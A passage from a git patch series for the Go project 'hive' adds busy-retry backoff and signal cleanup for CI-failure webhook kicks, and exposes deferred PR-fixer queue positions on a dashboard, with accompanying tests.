logger.Info("ci failure webhook kick delivered", "agent", p.sig.Agent, "repo", p.sig.Repo, "number", p.sig.Number, "check", p.sig.Check, "attempts", p.attempts) + return + } + if parent.Err() != nil { + k.remove(p) + return + } + if !errors.Is(err, crux.ErrAgentBusy) || p.attempts >= ciFailureKickMaxAttempts { + k.remove(p) + logger.Warn("ci failure webhook kick failed", "agent", p.sig.Agent, "repo", p.sig.Repo, "number", p.sig.Number, "check", p.sig.Check, "attempts", p.attempts, "error", err) + return + } + if i+1 < limit && !k.waitBackoff(parent, ciFailureKickBackoff(p.attempts)) { + k.remove(p) + return + } + } + k.mu.Lock() + p.inFlight = false + p.next = k.clock().Add(ciFailureKickBackoff(max(1, p.attempts))) + k.mu.Unlock() +} + +func (k *ciFailureKicker) waitBackoff(ctx context.Context, delay time.Duration) bool { + if k.wait != nil { + return k.wait(ctx, delay) + } + timer := time.NewTimer(delay) + defer timer.Stop() + select { + case <-ctx.Done(): + return false + case <-timer.C: + return true + } +} diff --git a/src/cmd/hive/ci_failure_pending_test.go b/src/cmd/hive/ci_failure_pending_test.go new file mode 100644 index 0000000000..d23d9592c7 --- /dev/null +++ b/src/cmd/hive/ci_failure_pending_test.go @@ -0,0 +1,218 @@ +package main + +import ( + "bytes" + "context" + "errors" + "fmt" + "log/slog" + "strings" + "testing" + "time" + + "github.com/hivecommons/hive/crux" + "github.com/hivecommons/hive/pkg/github" +) + +func pendingCIFailureTest(t *testing.T) (*ciFailureKicker, github.CIFailureSignal, *time.Time, *[]time.Duration) { + t.Helper() + now := time.Date(2026, 11, 4, 12, 0, 0, 0, time.UTC) + t.Cleanup(github.ResetCIFailureSignalsForTest(func() time.Time { return now })) + k, _ := newCIFailureKickerForTest(t, ciKickTestConfig()) + k.now = func() time.Time { return now } + var delays []time.Duration + k.wait = func(_ context.Context, delay time.Duration) bool { + delays = append(delays, delay) + now = now.Add(delay) + return true + } + sig := github.CIFailureSignal{Repo: "acme/widgets", Number: 7, HeadSHA: "abc", Check: "build"} + github.CIFailureSignals().Record(sig) + return k, sig, &now, &delays +} + +func TestCIFailureKicker_BusyRetryAndPendingDedupe(t *testing.T) { + k, sig, now, delays := pendingCIFailureTest(t) + var logs bytes.Buffer + k.logger = slog.New(slog.NewTextHandler(&logs, nil)) + attempts, delivered := 0, 0 + busy := true + k.send = func(context.Context, string, string) error { + attempts++ + if busy { + return fmt.Errorf("prompt not reached: %w", crux.ErrAgentBusy) + } + delivered++ + return nil + } + if out := k.React(sig); !out.Kicked { + t.Fatalf("first dispatch: %+v", out) + } + if attempts != 3 || len(k.pending) != 1 || len(*delays) != 2 || (*delays)[0] != time.Second || (*delays)[1] != 2*time.Second { + t.Fatalf("attempts=%d pending=%d delays=%v", attempts, len(k.pending), *delays) + } + if out := k.React(sig); out.Kicked || out.Reason != "pending" { + t.Fatalf("duplicate signal: %+v", out) + } + k.Drain() // backoff has not elapsed + if attempts != 3 { + t.Fatal("drain ignored backoff") + } + busy = false + *now = now.Add(4 * time.Second) + k.Drain() // same head is still inside the webhook's cooldown + k.Drain() + if attempts != 4 || delivered != 1 || len(k.pending) != 0 { + t.Fatalf("attempts=%d delivered=%d pending=%d", attempts, delivered, len(k.pending)) + } + if strings.Contains(logs.String(), "level=WARN") { + t.Fatalf("recoverable busy kick warned: %s", logs.String()) + } +} + +func TestCIFailureKicker_BusyFirstAttemptRecoversWithBackoff(t *testing.T) { + k, sig, _, delays := pendingCIFailureTest(t) + attempts := 0 + k.send = func(context.Context, string, string) error { + attempts++ + if attempts == 1 { + return crux.ErrAgentBusy + } + return nil + } + k.React(sig) + if attempts != 2 || len(*delays) != 1 || (*delays)[0] != time.Second || len(k.pending) != 0 { + t.Fatalf("attempts=%d delays=%v pending=%d", attempts, *delays, len(k.pending)) + } +} + +func TestCIFailureKicker_PendingKeysIncludeRepoPRAndCheck(t *testing.T) { + k, sig, now, _ := pendingCIFailureTest(t) + k.send = func(context.Context, string, string) error { return crux.ErrAgentBusy } + k.React(sig) + *now = now.Add(k.cfg().CIFailureKickCooldown() + time.Second) + otherCheck, otherPR, otherRepo := sig, sig, sig + otherCheck.Check = "lint" + otherPR.Number, otherPR.HeadSHA = 8, "def" + otherRepo.Repo = "acme/other" + for _, other := range []github.CIFailureSignal{otherCheck, otherPR, otherRepo} { + github.CIFailureSignals().Record(other) + if out := k.React(other); !out.Kicked { + t.Fatalf("distinct signal: %+v", out) + } + } + if out := k.React(sig); out.Kicked || out.Reason != "pending" || len(k.pending) != 4 { + t.Fatalf("duplicate after cooldown: %+v pending=%d", out, len(k.pending)) + } + *now = now.Add(3 * time.Hour) + k.Drain() + if len(k.pending) != 0 { + t.Fatalf("expired signals retained: %d", len(k.pending)) + } +} + +func TestCIFailureKicker_ExhaustionWarnsOnce(t *testing.T) { + for _, busy := range []bool{false, true} { + t.Run(fmt.Sprintf("busy=%t", busy), func(t *testing.T) { + k, sig, now, _ := pendingCIFailureTest(t) + var logs bytes.Buffer + k.logger = slog.New(slog.NewTextHandler(&logs, nil)) + attempts := 0 + k.send = func(context.Context, string, string) error { + attempts++ + if busy { + return crux.ErrAgentBusy + } + return errors.New("pane gone") + } + k.React(sig) + for range ciFailureKickMaxAttempts + 2 { + *now = now.Add(time.Minute) + k.Drain() + } + want := 1 + if busy { + want = ciFailureKickMaxAttempts + } + if attempts != want || len(k.pending) != 0 || strings.Count(logs.String(), "level=WARN") != 1 || !strings.Contains(logs.String(), fmt.Sprintf("attempts=%d", want)) { + t.Fatalf("attempts=%d pending=%d logs=%s", attempts, len(k.pending), logs.String()) + } + }) + } +} + +func TestCIFailureKicker_DeferredGatesAndResolution(t *testing.T) { + k, sig, now, _ := pendingCIFailureTest(t) + attempts := 0 + k.send = func(context.Context, string, string) error { + attempts++ + return crux.ErrAgentBusy + } + k.React(sig) + *now = now.Add(time.Minute) + k.isPaused = func(string) bool { return true } + k.Drain() + if attempts != 3 || len(k.pending) != 1 { + t.Fatalf("paused retry: attempts=%d pending=%d", attempts, len(k.pending)) + } + // The GitHub webhook/enrichment path forgets green and closed PRs. + github.CIFailureSignals().Forget(sig.Repo, sig.Number) + k.Drain() + if attempts != 3 || len(k.pending) != 0 { + t.Fatalf("resolved PR: attempts=%d pending=%d", attempts, len(k.pending)) + } +} + +func TestCIFailureKicker_PendingBoundAndInFlightDedupe(t *testing.T) { + k, sig, _, _ := pendingCIFailureTest(t) + var workers []func() + k.spawn = func(fn func()) { workers = append(workers, fn) } + for number := 1; number <= ciFailureKickMaxPending; number++ { + sig.Number = number + sig.HeadSHA = fmt.Sprintf("head-%d", number) + github.CIFailureSignals().Record(sig) + if out := k.React(sig); !out.Kicked { + t.Fatalf("entry %d: %+v", number, out) + } + } + if out := k.React(sig); out.Kicked || out.Reason != "pending" { + t.Fatalf("in-flight duplicate: %+v", out) + } + sig.Number++ + if out := k.React(sig); out.Kicked || out.Reason != "pending queue full" { + t.Fatalf("overflow: %+v", out) + } + k.Drain() + if len(workers) != ciFailureKickMaxPending || len(k.pending) > ciFailureKickMaxPending { + t.Fatalf("workers=%d pending=%d", len(workers), len(k.pending)) + } + for _, worker := range workers { + worker() + } + if len(k.pending) != 0 { + t.Fatalf("pending after success=%d", len(k.pending)) + } +} + +func TestCIFailureKicker_CancelDuringBackoff(t *testing.T) { + k, sig, _, _ := pendingCIFailureTest(t) + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + k.ctx = ctx + attempts := 0 + k.send = func(context.Context, string, string) error { + attempts++ + return crux.ErrAgentBusy + } + // Use the production timer helper after cancelling, without a real sleep. + k.wait = func(ctx context.Context, delay time.Duration) bool { + cancel() + k.wait = nil + return k.waitBackoff(ctx, delay) + } + k.React(sig) + k.Drain() + if attempts != 1 || len(k.pending) != 0 { + t.Fatalf("cancelled: attempts=%d pending=%d", attempts, len(k.pending)) + } +} diff --git a/src/cmd/hive/run_loop_deps.go b/src/cmd/hive/run_loop_deps.go index 7e124c8b1a..abcd0c8dc1 100644 --- a/src/cmd/hive/run_loop_deps.go +++ b/src/cmd/hive/run_loop_deps.go @@ -70,6 +70,7 @@ func defaultRunLoopDeps() runLoopDeps { newWakeTimer: func(d time.Duration) loopTicker { return realTimer{time.NewTimer(d)} }, newHealthTimer: func(d time.Duration) loopTicker { return realTimer{time.NewTimer(d)} }, runEval: func(b *boot, restarted []string, source evalCycleSource) { + defer b.ciFailureKicker.Drain() if b.evalLoop != nil { b.evalLoop.noteCycle(source) } diff --git a/src/pkg/github/ci_failure_signal.go b/src/pkg/github/ci_failure_signal.go index 52fe9d2792..ea74c33464 100644 --- a/src/pkg/github/ci_failure_signal.go +++ b/src/pkg/github/ci_failure_signal.go @@ -250,19 +250,74 @@ func (s *CIFailureSignalStore) filter(keep func(CIFailureSignal) bool) []CIFailu // Forget drops every signal for repo#number (the PR merged, closed, or its // head moved on to a new SHA that is not this one). func (s *CIFailureSignalStore) Forget(repo string, number int) { + canon := canonicalPRDetailRepo(repo) + s.forgetMatching(func(sig CIFailureSignal) bool { + return canonicalPRDetailRepo(sig.Repo) == canon && sig.Number == number + }) +} + +func (s *CIFailureSignalStore) forgetMatching(match func(CIFailureSignal) bool) { if s == nil { return } s.mu.Lock() defer s.mu.Unlock() - canon := canonicalPRDetailRepo(repo) for k, sig := range s.signals { - if k.repo == canon && sig.Number == number { + if match(sig) { delete(s.signals, k) } } } +// forgetGreenHead removes only this observed head, preserving failures from a +// newer head that may have arrived while enrichment was in progress. +func (s *CIFailureSignalStore) forgetGreenHead(repo string, number int, head string) { + canon := canonicalPRDetailRepo(repo) + s.forgetMatching(func(sig CIFailureSignal) bool { + return canonicalPRDetailRepo(sig.Repo) == canon && sig.Number == number && strings.EqualFold(sig.HeadSHA, head) + }) +} + +// forgetResolvedWebhook drops resolved checks even when the detail cache has +// already been invalidated by the failure delivery. A suite success only +// resolves that suite's signal; other producers may still have failing checks. +func (s *CIFailureSignalStore) forgetResolvedWebhook(event string, p webhookEventPayload) { + repo := canonicalPRDetailRepo(p.Repository.FullName) + if hint := webhookItemHint(event, p); hint != nil && hint.IsPR && hint.Closed() { + s.Forget(repo, hint.Number) + return + } + if event == "pull_request" && p.Action == "synchronize" && p.PullRequest != nil && p.PullRequest.Head.SHA != "" { + s.forgetMatching(func(sig CIFailureSignal) bool { + return canonicalPRDetailRepo(sig.Repo) == repo && sig.Number == p.PullRequest.Number && !strings.EqualFold(sig.HeadSHA, p.PullRequest.Head.SHA) + }) + return + } + head, check := "", "" + switch event { + case "check_run": + if p.CheckRun != nil && p.Action == "completed" && p.CheckRun.Conclusion == "success" { + head, check = p.CheckRun.HeadSHA, p.CheckRun.Name + } + case "check_suite": + if p.CheckSuite != nil && p.Action == "completed" && p.CheckSuite.Conclusion == "success" { + head, check = p.CheckSuite.HeadSHA, "check suite" + if app := strings.TrimSpace(p.CheckSuite.App.Name); app != "" { + check = app + " check suite" + } + } + case "status": + if p.State == "success" { + head, check = p.SHA, p.Context + } + } + if strings.TrimSpace(head) != "" { + s.forgetMatching(func(sig CIFailureSignal) bool { + return canonicalPRDetailRepo(sig.Repo) == repo && strings.EqualFold(sig.HeadSHA, strings.TrimSpace(head)) && strings.TrimSpace(sig.Check) == strings.TrimSpace(check) + }) + } +} + // Snapshot is the /api/status view. func (s *CIFailureSignalStore) Snapshot() CIFailureSignalsStatus { if s == nil { diff --git a/src/pkg/github/ci_failure_signal_test.go b/src/pkg/github/ci_failure_signal_test.go index 5488a0ea63..9791575107 100644 --- a/src/pkg/github/ci_failure_signal_test.go +++ b/src/pkg/github/ci_failure_signal_test.go @@ -1,6 +1,7 @@ package github import ( + "fmt" "log/slog" "net/http" "net/http/httptest" @@ -11,6 +12,47 @@ import ( gh "github.com/google/go-github/v72/github" ) +func TestHandleWebhookEvent_ForgetsResolvedCIFailures(t *testing.T) { + for _, tc := range []struct { + name, event, content string + remaining int + }{ + {"green check", "check_run", `"action":"completed","check_run":{"head_sha":"old","name":"build","conclusion":"success"}`, 4}, + {"green status", "status", `"sha":"old","context":"build","state":"success"`, 4}, + {"green suite", "check_suite", `"action":"completed","check_suite":{"head_sha":"old","conclusion":"success","app":{"name":"Actions"}}`, 4}, + {"pending", "status", `"sha":"old","context":"build","state":"pending"`, 5}, + {"closed", "pull_request", `"action":"closed","pull_request":{"number":7,"state":"closed"}`, 1}, + {"merged", "pull_request", `"action":"closed","pull_request":{"number":7,"merged":true}`, 1}, + {"new head", "pull_request", `"action":"synchronize","pull_request":{"number":7,"head":{"sha":"new"}}`, 2}, + } { + t.Run(tc.name, func(t *testing.T) { + c, _ := setupWebhookCacheTest(t) + t.Cleanup(ResetCIFailureSignalsForTest(nil)) + t.Cleanup(ResetCIEvidenceForTest(nil)) + store := CIFailureSignals() + for _, sig := range []CIFailureSignal{ + {Repo: "org/repo", Number: 7, HeadSHA: "old", Check: "build"}, + {Repo: "org/repo", Number: 7, HeadSHA: "old", Check: "lint"}, + {Repo: "org/repo", Number: 7, HeadSHA: "old", Check: "Actions check suite"}, + {Repo: "org/repo", Number: 7, HeadSHA: "new", Check: "build"}, + {Repo: "org/repo", Number: 8, HeadSHA: "other", Check: "build"}, + } { + store.Record(sig) + } + payload := []byte(fmt.Sprintf(`{"repository":{"full_name":"org/repo"},%s}`, tc.content)) + if _, err := c.HandleWebhookEvent(tc.event, payload); err != nil { + t.Fatal(err) + } + if got := store.Snapshot().Count; got != tc.remaining { + t.Fatalf("signals remaining=%d, want %d", got, tc.remaining) + } + if got := store.ForPR("org/repo", 8); len(got) != 1 { + t.Fatalf("unrelated PR signals changed: %+v", got) + } + }) + } +} + func TestWebhookCIFailure_EventsAndConclusions(t *testing.T) { cases := []struct { name string diff --git a/src/pkg/github/client.go b/src/pkg/github/client.go index 4c67ca69c8..8469b51124 100644 --- a/src/pkg/github/client.go +++ b/src/pkg/github/client.go @@ -2567,6 +2567,9 @@ func (c *Client) EnrichCIStatus(ctx context.Context, prs []PullRequest) { // The listing is the head's complete observation; checks delivered // by webhook since then are laid over it (hivecommons/hive#16521). owner, name := c.splitRepo(prs[i].Repo) + if prs[i].CIStatus == "success" { + CIFailureSignals().forgetGreenHead(owner+"/"+name, prs[i].Number, prs[i].HeadSHA) + } sharedCIEvidence().recordListed(owner+"/"+name, prs[i].HeadSHA, prs[i].CIActivity) prs[i].CIActivity = sharedCIEvidence().merged(owner+"/"+name, prs[i].HeadSHA, prs[i].CIActivity) } diff --git a/src/pkg/github/coverage90_test.go b/src/pkg/github/coverage90_test.go index 321c0ff0ed..1a951e9728 100644 --- a/src/pkg/github/coverage90_test.go +++ b/src/pkg/github/coverage90_test.go @@ -159,6 +159,10 @@ func TestEnrichCIStatus_ActionRequired(t *testing.T) { } func TestEnrichCIStatus_AllDoneSuccess(t *testing.T) { + t.Cleanup(ResetCIFailureSignalsForTest(nil)) + store := CIFailureSignals() + store.Record(CIFailureSignal{Repo: "org/repo", Number: 1, HeadSHA: "abc123", Check: "build"}) + store.Record(CIFailureSignal{Repo: "org/repo", Number: 1, HeadSHA: "new-head", Check: "build"}) server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { json.NewEncoder(w).Encode(map[string]interface{}{ "total_count": 1, @@ -175,6 +179,9 @@ func TestEnrichCIStatus_AllDoneSuccess(t *testing.T) { if prs[0].CIStatus != "success" { t.Errorf("CIStatus = %q, want success", prs[0].CIStatus) } + if remaining := store.ForPR("org/repo", 1); len(remaining) != 1 || remaining[0].HeadSHA != "new-head" { + t.Fatalf("green enrichment must forget only the observed head: %+v", remaining) + } } func TestEnrichCIStatus_StillRunning(t *testing.T) { diff --git a/src/pkg/github/webhook_cache.go b/src/pkg/github/webhook_cache.go index 0dc3ae0eff..0c8d18ae94 100644 --- a/src/pkg/github/webhook_cache.go +++ b/src/pkg/github/webhook_cache.go @@ -658,6 +658,7 @@ func (c *Client) HandleWebhookEvent(event string, payload []byte) (WebhookEventR // invalidation drops their cache entries: the receiver reacts to a red // check on the event rather than on the next sweep. res.CIFailure = c.webhookCIFailureResult(event, p, aliases, numbers) + CIFailureSignals().forgetResolvedWebhook(event, p) for _, n := range numbers { c.invalidateWebhookPR(aliases, n) } From 2cfe64555537ec322ee1ed6eb5bbd0161e67ebfc Mon Sep 17 00:00:00 2001 From: "hivecommons-hive[bot]" <280983584+hivecommons-hive[bot]@users.noreply.github.com> Date: Wed, 4 Nov 2026 07:53:26 +0000 Subject: [PATCH 50/87] =?UTF-8?q?=F0=9F=90=9B=20fix:=20expose=20deferred?= =?UTF-8?q?=20PR=20fixer=20queue=20positions=20(#16553)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * πŸ› fix: expose deferred PR fixer queue positions Remember the first deferral of each review fix kick in the governor and remove it on delivery or when enumeration no longer sees the PR open. Expose optional queue status through the governor and review queue APIs, and show the number ahead beside the PR's dashboard stage metadata. Hive-Run: hivecommons/hive#16537 Hive-Plan: issue-16526/deferred-fixer-queue Hive-Spec: issue-16537#acceptance-criteria Signed-off-by: thatguywob <thatguywob@users.noreply.github.com> * fix(fixer-queue): source the queue hint from review-queue.js; drop entries whose PR no longer plans a fix kick Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> * πŸ› fix: key the deferred fixer queue by org-qualified PR across record, reconcile and lookup Dispatch plans carry pr.Repo as configured (often the bare repo name), so RecordFixKickDeferred stored "repo#N" while reconcileDeferredFixQueue kept only ReviewQueueKey("org/repo", N). Each cycle evicted the entry, losing the first-deferral timestamp, and /api/review/queue's full-key lookup never matched, so fixer_queue_position was never emitted. Route Deferred, Delivered and reconcilePlannedFixQueue through one fixerQueueKey helper that qualifies bare repos with the project org, and pass cfg.Project.Org from the eval cycle. Adds a regression test that drives a bare-repo kick through several busy reconcile cycles and checks it stays queued under the dashboard's key until delivery. Refs #16537 Hive-Fix-Attempt: 1/6 Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> --------- Signed-off-by: thatguywob <thatguywob@users.noreply.github.com> Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> Co-authored-by: thatguywob <thatguywob@users.noreply.github.com> Co-authored-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- changelog.d/fixed-16537-fixer-queue.md | 1 + src/cmd/hive/eval_cycle_seams.go | 6 + src/cmd/hive/fixer_queue.go | 90 +++++++++ src/cmd/hive/fixer_queue_test.go | 185 ++++++++++++++++++ src/cmd/hive/main_eval_cycle.go | 5 + src/pkg/dashboard/api_governor_pr_models.go | 15 +- src/pkg/dashboard/api_review_queue.go | 25 ++- src/pkg/dashboard/fixer_queue_test.go | 92 +++++++++ .../dashboard/review_queue_view_9607_test.go | 10 +- .../dashboard/static-src/js/review-queue.js | 10 + src/pkg/dashboard/static/index.html | 10 + src/pkg/governor/fixer_queue.go | 95 +++++++++ src/pkg/governor/fixer_queue_test.go | 72 +++++++ src/pkg/governor/governor.go | 1 + 14 files changed, 607 insertions(+), 10 deletions(-) create mode 100644 changelog.d/fixed-16537-fixer-queue.md create mode 100644 src/cmd/hive/fixer_queue.go create mode 100644 src/cmd/hive/fixer_queue_test.go create mode 100644 src/pkg/dashboard/fixer_queue_test.go create mode 100644 src/pkg/governor/fixer_queue.go create mode 100644 src/pkg/governor/fixer_queue_test.go diff --git a/changelog.d/fixed-16537-fixer-queue.md b/changelog.d/fixed-16537-fixer-queue.md new file mode 100644 index 0000000000..8f7843a7ce --- /dev/null +++ b/changelog.d/fixed-16537-fixer-queue.md @@ -0,0 +1 @@ +- Deferred PR fix kicks now retain their queue position until delivery or closure; the governor API exposes the queue and the dashboard review queue shows β€œfixer queued, N ahead” ([#16537](https://github.com/hivecommons/hive/issues/16537)). diff --git a/src/cmd/hive/eval_cycle_seams.go b/src/cmd/hive/eval_cycle_seams.go index c7e465dea6..91925bc20e 100644 --- a/src/cmd/hive/eval_cycle_seams.go +++ b/src/cmd/hive/eval_cycle_seams.go @@ -482,6 +482,9 @@ type kickDispatchDeps struct { // continuous-mode scheduler uses this to exponential-backoff instead of // returning the same due agent on every eval while the CLI is stalled. onFailed func(msg scheduler.KickMessage, err error) + // onDeferred optionally records kicks that wait for a busy agent's lane. + // It runs in message order, like the delivered and failed effects. + onDeferred func(msg scheduler.KickMessage) // markProbeReleased stamps the provider-budget probe. Called at most once // per dispatch, and only after a kick actually goes out. markProbeReleased func(at time.Time) @@ -609,6 +612,9 @@ func dispatchAgentKicks(msgs []scheduler.KickMessage, releaseProbe bool, deps ki if out.deferred || errors.Is(out.sendErr, crux.ErrAgentBusy) { endSpan(nil) logger.Info("agent busy: deferring kick", "agent", msg.Agent) + if deps.onDeferred != nil { + deps.onDeferred(msg) + } continue } if out.startErr != nil { diff --git a/src/cmd/hive/fixer_queue.go b/src/cmd/hive/fixer_queue.go new file mode 100644 index 0000000000..8eb210ef9a --- /dev/null +++ b/src/cmd/hive/fixer_queue.go @@ -0,0 +1,90 @@ +package main + +import ( + "strconv" + "strings" + "time" + + "github.com/hivecommons/hive/pkg/github" + "github.com/hivecommons/hive/pkg/governor" + "github.com/hivecommons/hive/pkg/review" + "github.com/hivecommons/hive/pkg/scheduler" +) + +// reviewFixKickQueue maps delivery outcomes back to PRs. Review and routine +// governor kicks must not create or clear a PR's deferred-fixer hint. +type reviewFixKickQueue struct { + governor *governor.Governor + org string + kicks map[string]review.DispatchKick +} + +func (q reviewFixKickQueue) Deferred(msg scheduler.KickMessage) { + if k, ok := q.kicks[reviewKickKey(msg)]; ok && k.Kind == "fix" { + q.governor.RecordFixKickDeferred(fixerQueueKey(q.org, k), time.Now()) + } +} + +func (q reviewFixKickQueue) Delivered(msg scheduler.KickMessage) { + if k, ok := q.kicks[reviewKickKey(msg)]; ok && k.Kind == "fix" { + q.governor.RecordFixKickDelivered(fixerQueueKey(q.org, k)) + } +} + +// fixerQueueKey is the governor's identity for a fix kick's PR. Dispatch plans +// carry pr.Repo as configured (often the bare "repo"), while the enumeration +// reconcile and /api/review/queue key by github.ReviewQueueKey("org/repo", N). +// Every writer and reader must agree on the qualified form, or a bare-repo +// entry is evicted on the next reconcile and the dashboard never finds it. +func fixerQueueKey(org string, k review.DispatchKick) string { + repo, number := k.Repo, k.Number + if repo == "" || number == 0 { + // Older callers (and tests) only populate PRRef. + ref := strings.TrimSpace(k.PRRef) + if i := strings.LastIndex(ref, "#"); i > 0 { + repo = ref[:i] + if n, err := strconv.Atoi(ref[i+1:]); err == nil { + number = n + } + } + } + repo = strings.TrimSpace(repo) + if org != "" && repo != "" && !strings.Contains(repo, "/") { + repo = org + "/" + repo + } + return github.ReviewQueueKey(repo, number) +} + +func reconcileDeferredFixQueue(gov *governor.Governor, org string, actionable *github.ActionableResult) { + if actionable == nil { + return // no new enumeration is not evidence that a PR closed + } + open := map[string]bool{} + for _, prs := range [][]github.PullRequest{actionable.PRs.Items, actionable.PRs.Held, actionable.PRs.StaleDrafts, actionable.PRs.Attributed} { + for _, pr := range prs { + if strings.EqualFold(pr.State, "closed") || !pr.ClosedAt.IsZero() || !pr.MergedAt.IsZero() { + continue + } + repo := pr.Repo + if org != "" && !strings.Contains(repo, "/") { + repo = org + "/" + repo + } + open[github.ReviewQueueKey(repo, pr.Number)] = true + } + } + gov.ReconcileFixerQueue(open) +} + +// reconcilePlannedFixQueue drops deferred fixes the current plan no longer +// kicks (new head, review passed, lane reassigned away) for PRs that stay +// open; otherwise they would sit in the queue and inflate every "ahead". +func reconcilePlannedFixQueue(gov *governor.Governor, org string, actionable *github.ActionableResult, fixKicks []review.DispatchKick) { + if actionable == nil { + return // no plan was built, so nothing says the fix is no longer needed + } + planned := map[string]bool{} + for _, k := range fixKicks { + planned[fixerQueueKey(org, k)] = true + } + gov.ReconcileFixerQueue(planned) +} diff --git a/src/cmd/hive/fixer_queue_test.go b/src/cmd/hive/fixer_queue_test.go new file mode 100644 index 0000000000..cc2282ae5f --- /dev/null +++ b/src/cmd/hive/fixer_queue_test.go @@ -0,0 +1,185 @@ +package main + +import ( + "errors" + "fmt" + "testing" + "time" + + "github.com/hivecommons/hive/crux" + "github.com/hivecommons/hive/pkg/github" + "github.com/hivecommons/hive/pkg/governor" + "github.com/hivecommons/hive/pkg/review" + "github.com/hivecommons/hive/pkg/scheduler" +) + +func TestDispatchDeferredFixQueueLifecycle(t *testing.T) { + for _, busy := range []bool{false, true} { + t.Run(fmt.Sprintf("busy=%v", busy), func(t *testing.T) { + gov := &governor.Governor{} + msgs := []scheduler.KickMessage{ + {Agent: "scanner", Message: "fix first"}, + {Agent: "scanner", Message: "fix second"}, + {Agent: "scanner", Message: "review third"}, + {Agent: "scanner", Message: "routine governor"}, + } + q := reviewFixKickQueue{governor: gov, kicks: map[string]review.DispatchKick{ + reviewKickKey(msgs[0]): {Kind: "fix", PRRef: "org/repo#1"}, + reviewKickKey(msgs[1]): {Kind: "fix", PRRef: "org/repo#2"}, + reviewKickKey(msgs[2]): {Kind: "review", PRRef: "org/repo#3"}, + }} + r := newKickDispatchRecorder() + if busy { + r.sendErr["scanner"] = fmt.Errorf("prompt wait: %w", crux.ErrAgentBusy) + } + deps := r.deps() + deps.onDeferred = q.Deferred + deps.onReviewDelivered = q.Delivered + dispatchAgentKicks(msgs, false, deps, discardLogger()) + queue := gov.FixerQueue() + if busy { + if len(queue) != 2 || queue["org/repo#1"].FixerQueuePosition != 1 || queue["org/repo#2"].FixerQueuePosition != 2 { + t.Fatalf("busy lane queue = %+v", queue) + } + // Reassign the first fix to a fallback and actually deliver it. + fallback := scheduler.KickMessage{Agent: "fallback", Message: "new fix prompt"} + q.kicks[reviewKickKey(fallback)] = review.DispatchKick{Kind: "fix", PRRef: "org/repo#1"} + dispatchAgentKicks([]scheduler.KickMessage{fallback}, false, deps, discardLogger()) + } else if len(queue) != 1 { + t.Fatalf("kick behind delivered first fix must be queued: %+v", queue) + } + // Delivery from another source must not clear a queued fix. + q.kicks[reviewKickKey(msgs[2])] = review.DispatchKick{Kind: "review", PRRef: "org/repo#2"} + q.Delivered(msgs[2]) + q.Delivered(msgs[3]) + queue = gov.FixerQueue() + second := queue["org/repo#2"] + if len(queue) != 1 || second.FixerQueuePosition != 1 || second.FixerQueueAhead == nil || *second.FixerQueueAhead != 0 { + t.Fatalf("after first delivery: %+v", queue) + } + delete(r.sendErr, "scanner") + dispatchAgentKicks(msgs[1:2], false, deps, discardLogger()) + if len(gov.FixerQueue()) != 0 { + t.Fatal("delivered second fix still queued") + } + }) + } +} + +func TestFixQueueDoesNotRecordWithheldOrFailedKicks(t *testing.T) { + for _, withheld := range []bool{false, true} { + gov := &governor.Governor{} + msg := scheduler.KickMessage{Agent: "scanner", Message: "fix"} + q := reviewFixKickQueue{governor: gov, kicks: map[string]review.DispatchKick{ + reviewKickKey(msg): {Kind: "fix", PRRef: "org/repo#1"}, + }} + r := newKickDispatchRecorder() + r.backoff["scanner"] = withheld + r.sendErr["scanner"] = errors.New("send failed") + deps := r.deps() + deps.onDeferred = q.Deferred + deps.onReviewDelivered = q.Delivered + dispatchAgentKicks([]scheduler.KickMessage{msg}, false, deps, discardLogger()) + if len(gov.FixerQueue()) != 0 { + t.Fatal("non-busy failure or provider backoff recorded as a deferred fix") + } + } +} + +func TestReconcileDeferredFixQueueOpenHeldAndClosedPRs(t *testing.T) { + gov := &governor.Governor{} + for i := 1; i <= 6; i++ { + gov.RecordFixKickDeferred(fmt.Sprintf("org/repo#%d", i), time.Now()) + } + reconcileDeferredFixQueue(gov, "org", nil) + if len(gov.FixerQueue()) != 6 { + t.Fatal("missing enumeration cleared queue") + } + reconcileDeferredFixQueue(gov, "org", &github.ActionableResult{PRs: github.PRResult{ + Items: []github.PullRequest{{Repo: "repo", Number: 1}}, + Held: []github.PullRequest{{Repo: "org/repo", Number: 2}}, + StaleDrafts: []github.PullRequest{{Repo: "repo", Number: 3}}, + Attributed: []github.PullRequest{ + {Repo: "org/repo", Number: 4, State: "open"}, + {Repo: "org/repo", Number: 5, State: "closed"}, + {Repo: "org/repo", Number: 6, MergedAt: time.Now()}, + }, + }}) + queue := gov.FixerQueue() + if len(queue) != 4 || queue["org/repo#4"].FixerQueuePosition != 4 { + t.Fatalf("reconciled queue = %+v", queue) + } + reconcileDeferredFixQueue(gov, "org", &github.ActionableResult{}) + if len(gov.FixerQueue()) != 0 { + t.Fatal("closed or removed PRs still queued") + } +} + +func TestReconcilePlannedFixQueueDropsPRsNoLongerPlanningAFix(t *testing.T) { + gov := &governor.Governor{} + gov.RecordFixKickDeferred("org/repo#1", time.Now()) + gov.RecordFixKickDeferred("org/repo#2", time.Now().Add(time.Minute)) + reconcilePlannedFixQueue(gov, "org", nil, nil) + if len(gov.FixerQueue()) != 2 { + t.Fatal("missing enumeration cleared queue") + } + // #1 stays open but its fix is no longer planned; #2 still needs one. + reconcilePlannedFixQueue(gov, "org", &github.ActionableResult{}, []review.DispatchKick{{Kind: "fix", PRRef: "Org/Repo#2"}}) + queue := gov.FixerQueue() + second := queue["org/repo#2"] + if len(queue) != 1 || second.FixerQueuePosition != 1 || second.FixerQueueAhead == nil || *second.FixerQueueAhead != 0 { + t.Fatalf("planned queue = %+v", queue) + } +} + +// Regression for hivecommons/hive#16537: dispatch plans carry the bare repo +// name from config, so a deferred fix recorded as "repo#N" used to be evicted +// by the next enumeration reconcile (keyed "org/repo#N") and never matched the +// dashboard's ReviewQueueKey lookup. Every path must agree on the qualified key. +func TestFixerQueueBareRepoKicksSurviveReconcileAndMatchDashboardKey(t *testing.T) { + gov := &governor.Governor{} + msg := scheduler.KickMessage{Agent: "scanner", Message: "fix 